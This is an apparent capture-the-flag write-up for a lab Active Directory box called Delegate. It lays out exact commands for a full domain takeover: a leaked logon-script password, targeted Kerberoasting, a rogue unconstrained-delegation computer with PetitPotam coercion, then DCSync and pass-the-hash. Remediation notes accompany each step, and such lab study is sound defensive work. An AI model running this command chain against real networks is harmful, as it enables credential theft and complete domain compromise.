Delegate
Summary
I read an anonymously accessible logon script on the domain controller's NETLOGON share and recovered a plaintext domain password for the account A.Briggs. That account had write access over a second user, N.Thompson, which was abused to request a crackable Kerberos service ticket for N.Thompson (targeted Kerberoasting).
The cracked password gave a WinRM shell and the user flag. N.Thompson's account held two sensitive privileges, the right to create computer accounts and the right to grant delegation, which were chained to create a rogue computer account configured for unconstrained Kerberos delegation.
Coercing the domain controller to authenticate to that rogue computer captured the DC's own Kerberos ticket, which was used to perform a DCSync and pull the Administrator account's password hash. A pass-the-hash WinRM login as Administrator then gave full control of the domain controller and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for N.Thompson>"
export COMPUTER_PASS="<a-password-you-choose>"Some commands also carry a value in angle brackets (<administrator_nt_hash>, <briggs_password>, <thompson_password>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Add the domain and DC names to local resolution.
$ echo "$TARGET delegate.vl dc1.delegate.vl" | sudo tee -a /etc/hostsFull TCP sweep with default scripts and version detection.
$ nmap -p- --min-rate 3000 -sC -sV $TARGETList shares available to an anonymous/guest session.
$ nxc smb delegate.vl -u guest -p '' --sharesFixDisable SMB null/guest authenticationHigh
Exact commands 4
Download the logon script anonymously.
$ smbclient -N //delegate.vl/NETLOGON -c 'get users.bat'Read the hard-coded password.
$ cat users.batConfirm the recovered credential is valid.
$ nxc smb delegate.vl -u A.Briggs -p '<briggs_password>'Check how many computer accounts a normal user may register.
$ nxc ldap $TARGET -u A.Briggs -p '<briggs_password>' -M maqFixRemove hard-coded credentials from logon scripts and rotate the exposed accountCritical
Exact commands 5
Sync the clock to the DC before any Kerberos operation.
$ sudo ntpdate -u delegate.vlCollect AD object/ACL data; identifies A.Briggs's GenericWrite over N.Thompson.
$ bloodhound-python -d delegate.vl -u A.Briggs -p '<briggs_password>' -c all -ns $TARGET --dns-tcpAdd a throwaway SPN to the target user, making it roastable.
$ bloodyAD -u A.Briggs -p '<briggs_password>' -d delegate.vl --host dc1.delegate.vl set object N.Thompson servicePrincipalName -v 'fake/svc'Request the resulting service ticket for offline cracking.
$ impacket-GetUserSPNs delegate.vl/A.Briggs:'<briggs_password>' -request-user N.Thompson -dc-host dc1.delegate.vl -outputfile nthompson.hashCrack the ticket offline to recover N.Thompson's password.
$ hashcat -m 13100 nthompson.hash /usr/share/wordlists/rockyou.txtFixRemove unnecessary GenericWrite / ACL delegation on user objectsHigh
Exact commands 4
Validate WinRM access.
$ nxc winrm $TARGET -u N.Thompson -p '<thompson_password>' -d delegate.vlOpen an interactive remote shell.
$ evil-winrm -i dc1.delegate.vl -u N.Thompson -p '<thompson_password>'Confirm identity before touching any flag.
$ whoami
delegate\n.thompsonRead the user flag; result is <user.txt>.
$ type C:\Users\N.Thompson\Desktop\user.txtFixRestrict WinRM/Remote Management group membershipMedium
Exact commands 2
Register a new computer account using the machine-account quota. $COMPUTER_PASS is a password you choose for ROGUE$ (not a recovered secret); keep it for the hash step.
$ impacket-addcomputer delegate.vl/N.Thompson:"$PASSWORD" -computer-name 'ROGUE$' -computer-pass "$COMPUTER_PASS" -dc-host dc1.delegate.vlFlag the new computer object as trusted for unconstrained delegation, permitted by SeEnableDelegationPrivilege.
$ bloodyAD -u N.Thompson -p "$PASSWORD" -d delegate.vl --host dc1.delegate.vl add uac 'ROGUE$' -f TRUSTED_FOR_DELEGATIONFixRemove SeMachineAccountPrivilege / SeEnableDelegationPrivilege from non-Tier-0 accountsCritical
Exact commands 5
Add a DNS A record for the rogue name that resolves to your host.
$ python3 dnstool.py -u 'delegate.vl\N.Thompson' -p "$PASSWORD" -r pwn.delegate.vl -d $ATTACKER_IP --action add dc1.delegate.vlGive the rogue computer a cifs SPN on that name so Kerberos will issue a service ticket to it.
$ python3 addspn.py -u 'delegate.vl\ROGUE$' -p "$COMPUTER_PASS" -s cifs/pwn.delegate.vl --additional dc1.delegate.vlDerive ROGUE$'s NT hash from the password you chose, for the catcher.
$ pypykatz crypto nt "$COMPUTER_PASS"Start the ticket catcher; it decrypts the forwarded TGT with ROGUE$'s hash and saves DC1$.ccache.
$ python3 krbrelayx.py -hashes :<ROGUE$ NT hash>Coerce DC1$ to authenticate to pwn.delegate.vl; krbrelayx captures its TGT.
$ python3 PetitPotam.py -u N.Thompson -p "$PASSWORD" -d delegate.vl pwn.delegate.vl dc1.delegate.vlFixBlock authentication-coercion and protect against ticket-relay/DCSyncCritical
Exact commands 1
Use the captured machine-account ticket to request Administrator's NT hash via directory replication.
$ KRB5CCNAME=DC1$.ccache impacket-secretsdump -k -no-pass dc1.delegate.vl -just-dc-user AdministratorExact commands 2
Pass-the-hash login and flag read; result is <root.txt>.
$ nxc winrm $TARGET -u Administrator -H <administrator_nt_hash> -d delegate.vl -X "whoami; Get-Content -LiteralPath 'C:\Users\Administrator\Desktop\root.txt'"Equivalent interactive pass-the-hash shell.
$ evil-winrm -i dc1.delegate.vl -u Administrator -H <administrator_nt_hash>Attack patterns used
The transferable techniques behind this compromise.
Unconstrained Delegation + Coerced AuthenticationActive Directory · KerberosT1558
What it is
A computer account trusted for unconstrained delegation (TRUSTED_FOR_DELEGATION) receives a copy of the TGT of every principal that authenticates to it. Whoever controls that account's keys, plus a DNS record and SPN pointing at a host they listen on, can coerce a domain controller to authenticate (PetitPotam, printerbug) and capture the DC machine account's TGT with krbrelayx, then use it to DCSync the domain.
Why it works
Unconstrained delegation turns any forced authentication into a reusable ticket for the authenticating account. Remediate by removing unconstrained delegation from non-DC hosts, restricting who may enable it (SeEnableDelegationPrivilege), marking privileged accounts sensitive and not delegatable, adding them to Protected Users, and disabling the coercion vectors (Print Spooler on DCs, EFSRPC filtering).
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49166/tcp | unknown recon-sweep-discovered |
| 49167/tcp | unknown recon-sweep-discovered |
| 49172/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |
| 52539/tcp | unknown recon-sweep-discovered |
| 52544/tcp | unknown recon-sweep-discovered |
| 55813/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |